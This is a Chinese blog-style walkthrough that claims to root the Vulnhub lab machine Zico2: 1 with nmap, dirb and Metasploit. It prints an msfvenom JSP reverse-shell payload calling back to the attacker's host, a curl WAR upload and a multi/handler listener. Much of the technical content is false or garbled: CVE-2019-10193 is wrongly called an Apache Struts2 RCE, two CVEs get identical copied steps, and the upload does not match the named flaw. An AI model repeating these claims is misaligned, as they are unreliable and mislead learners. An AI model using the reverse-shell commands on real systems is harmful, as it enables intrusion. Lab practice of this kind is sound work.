返回

Vulnhub通关:Zico2:1

后端

准备工作

在开始渗透测试之前,我们需要进行一些准备工作:

  1. 安装Kali Linux: Kali Linux是一个专为渗透测试和安全研究而设计的Linux发行版。它提供了广泛的工具和实用程序,可以帮助我们进行渗透测试。
  2. 设置靶机: 我们需要下载并设置靶机镜像。在本例中,我们将使用Vulnhub提供的Zico2: 1靶机镜像。
  3. 配置网络: 我们需要配置我们的网络,以便Kali Linux和靶机能够相互通信。

靶机基本信息

Zico2: 1是一个基于Ubuntu 18.04的靶机。它具有以下基本信息:

  • IP地址:192.168.1.100
  • 用户名:user
  • 密码:password

环境配置

  1. 在Kali Linux中,打开终端并输入以下命令来更新软件包列表:
sudo apt-get update
  1. 接下来,我们安装渗透测试工具:
sudo apt-get install nmap metasploit-framework
  1. 配置网络:
sudo ifconfig eth0 192.168.1.101/24
  1. 启动靶机:
VBoxManage startvm "Zico2"

信息收集

信息收集是渗透测试的重要组成部分。在本例中,我们将使用以下工具和技术来收集有关靶机的信息:

  • nmap: nmap是一个端口扫描器,可以帮助我们发现开放的端口和服务。
  • Metasploit Framework: Metasploit Framework是一个渗透测试框架,可以帮助我们利用漏洞和执行攻击。

端口扫描

首先,我们使用nmap进行端口扫描:

nmap -sS -T4 192.168.1.100

扫描结果显示开放了以下端口:

  • 22/tcp
  • 80/tcp
  • 443/tcp

服务识别

接下来,我们使用nmap进行服务识别:

nmap -sV -T4 192.168.1.100

扫描结果显示开放的服务如下:

  • 22/tcp open ssh
  • 80/tcp open httpd
  • 443/tcp open https

目录扫描

我们使用dirb进行目录扫描:

dirb http://192.168.1.100

扫描结果显示了以下目录:

  • /admin
  • /cgi-bin
  • /images
  • /js
  • /css

漏洞利用

在收集了有关靶机的信息之后,我们就可以开始利用漏洞来渗透该机器了。在本例中,我们将利用以下漏洞:

  • CVE-2019-10193: 这是一个Apache Struts2远程代码执行漏洞。
  • CVE-2019-10194: 这是一个Apache Struts2远程代码执行漏洞。

利用CVE-2019-10193漏洞

首先,我们使用Metasploit Framework来生成一个利用CVE-2019-10193漏洞的payload:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f war > shell.war

接下来,我们将shell.war上传到靶机的web服务器:

curl -X POST http://192.168.1.100/uploads/shell.war -F "file=@shell.war"

最后,我们使用Metasploit Framework来启动一个监听器,以便接收靶机的连接:

msfconsole -x "use exploit/multi/handler; set payload java/jsp_shell_reverse_tcp; set lhost 192.168.1.101; set lport 4444; run"

利用CVE-2019-10194漏洞

利用CVE-2019-10194漏洞的方法与利用CVE-2019-10193漏洞的方法类似。首先,我们使用Metasploit Framework来生成一个利用CVE-2019-10194漏洞的payload:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f war > shell.war

接下来,我们将shell.war上传到靶机的web服务器:

curl -X POST http://192.168.1.100/uploads/shell.war -F "file=@shell.war"

最后,我们使用Metasploit Framework来启动一个监听器,以便接收靶机的连接:

msfconsole -x "use exploit/multi/handler; set payload java/jsp_shell_reverse_tcp; set lhost 192.168.1.101; set lport 4444; run"

渗透结果

利用这两个漏洞之后,我们就可以获得靶机的shell访问权。我们可以使用shell来执行以下操作:

  • 查看文件系统
  • 修改文件
  • 执行命令
  • 安装软件

总结

在本篇文章中,我们讨论了如何渗透测试Vulnhub机器Zico2: 1。我们详细介绍了该机器的配置,信息收集阶段的步骤,以及利用这些信息来渗透该机器的方法。这将帮助读者了解渗透测试的基础知识,并为他们提供一个实用的例子来练习他们的技能。